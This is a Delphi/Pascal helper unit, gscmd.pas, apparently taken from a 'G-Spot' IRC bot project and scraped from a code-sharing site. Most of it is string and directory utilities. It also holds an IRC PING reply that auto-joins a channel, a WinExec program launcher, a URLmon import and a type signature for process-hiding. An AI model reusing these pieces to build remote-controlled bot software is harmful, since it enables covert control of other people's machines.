📄 gscmd.pas
字号:
unit GSCMD;
{$D-,L-,Q+,R-,Y-,S-}
interface
uses
Windows, URLmon;
Const
WM_QUIT = $0012;
HexDigits:pchar = '0123456789ABCDEF';
type
rsp = function(dwProcessID,dwType:DWord):DWORD;stdcall;
HookType=function():boolean;stdcall;
function StrToInt(s:string):integer;
function IntToStr(x:integer):string;
Procedure ShowMessage(msg:string);
function LowerCase(const S: string): string;
function StrPas(const Str: PChar): string;
function ReplaceString(str, value, replacer: string): string;
function WinDir:string;
function SysDir:string;
function tempDir:string;
function Run(programn:string):boolean;
function GetParam(data:String; param:integer; sep:string):string;
Function ping(what:String; chan:STRING): STRING;
function FileExists(const FileName: string): Boolean;
Function StringToHex(StringIn:string):string;
Function HexToString(HexIn:string):string;
VAR
PMHwd: THandle;
implementation
function StrToInt(s:string):integer;
var
v,code: integer;
begin
Val(s, v, code);
result := v;
end;
function IntToStr(x:integer):string;
var
s: string;
begin
Str(x,s);
result := s;
end;
//*******************************************************************SHOWMESSAGE
procedure ShowMessage(msg:string);
begin
MessageBox(0, pchar(msg), 'G-Spot', MB_ICONINFORMATION);
end;
//*********************************************************************LOWERCASE
function LowerCase(const S: string): string;
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
//---------------------------------------------------------------STRPAS FUNCTION
function StrPas(const Str: PChar): string;
begin
Result := Str;
end;
//****************************************************************REPLACE STRING
function ReplaceString(str, value, replacer: String): String;
var
aPos: Integer;
rslt: String;
begin
aPos := Pos(value, str);
rslt := '';
result := str;//in case there is nothing to replace, return orig string
while (aPos <> 0) do begin
rslt := Copy(str, 1, aPos - 1) + replacer;
rslt := rslt + Copy(str, aPos + Length(value), Length(str));
str := rslt;
aPos := Pos(value, str);
result := rslt;
end;
end;
//---------------------------------------------------------------WinDir FUNCTION
function WinDir:string;
var
pWindowsDir:array [0..255] of char;
sWindowsDir:string;
begin
try
GetWindowsDirectory(pWindowsDir, 255);
sWindowsDir:=StrPas(pWindowsDir);
swindowsdir:=swindowsdir+'\';
Result:=sWindowsDir;
except end;
end;
//---------------------------------------------------------------SysDir FUNCTION
function SysDir:string;
var
pSystemDir:array [0..255] of char;
sSystemDir:string;
begin
try
GetSystemDirectory(pSystemDir, 255);
sSystemDir:=StrPas(pSystemDir);
sSystemdir:=sSystemdir+'\';
Result:=sSystemDir;
except end;
end;
//---------------------------------------------------------------tempDir FUNCTION
function tempdir:string;
begin
result := windir + 'Temp\';
end;
//------------------------------------------------------------RUN(FILE) FUNCTION
function Run(programn:string):boolean;
begin
if WinExec(pchar(programn), SW_NORMAL) > 31 then
run:=true
else
run:=false;
end;
//**************************************************************************PING
Function ping(what:String; chan:STRING): STRING;
var temp : string;
begin
temp := 'PONG ' + copy(what,pos('PING :',what)+1,length(what))+#13#10 +
'JOIN #' + CHAN + ' ' + #13#10;
result := temp;
END;
//-------------------------------------------------------------GETPARAM FUNCTION
function GetParam(data:String; param:integer; sep:string):string;
var p:integer;
Final:string;
begin
repeat
p := pos(sep,data);
if p = 0 then p := length(data);
Final := copy(data,0,P);
data := replacestring(data,final,'');
param := param -1;
until
param = 0;
final := replacestring(final,sep,'');
result := final;
end;
function FileExists(const FileName: string): Boolean;
var
lpFindFileData: TWin32FindData;
hFile: Cardinal;
begin
hFile := FindFirstFile(PChar(FileName), lpFindFileData);
if hFile <> INVALID_HANDLE_VALUE then
begin
result := True;
Windows.FindClose(hFile)
end
else
result := False;
end;
Function StringToHex(StringIn:string):string;
var
Nibble0,Nibble1:byte;
CharVal:byte;
i:word;
begin
Result := '';
for i := 1 to Length(StringIn) do
begin
CharVal := byte(StringIn[i]);
Nibble0 := CharVal div 16;
Nibble1 := CharVal - (Nibble0 * 16);
Result := Result + HexDigits[Nibble0] + HexDigits[Nibble1];
end;
end;
Function HexToString(HexIn:string):string;
var
Nibble0,Nibble1:byte;
CharAt:word;
i:word;
Function HexVal(CharIn:char):byte;
var
CharAt:word;
ValFound:boolean;
begin
Result := 0;
CharAt := 0;
ValFound := false;
repeat
if (HexDigits[CharAt] = CharIn) then
begin
ValFound := true;
Result := CharAt;
end
else
begin
inc(CharAt);
end;
until (ValFound) or (CharAt > 15);
end;
begin
Result := '';
for i := 1 to (Length(HexIn) div 2) do
begin
CharAt := (2 * i) - 1;
Nibble0 := HexVal(HexIn[CharAt]);
Nibble1 := HexVal(HexIn[CharAt + 1]);
Result := Result + chr((Nibble0 * 16) + Nibble1);
end
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -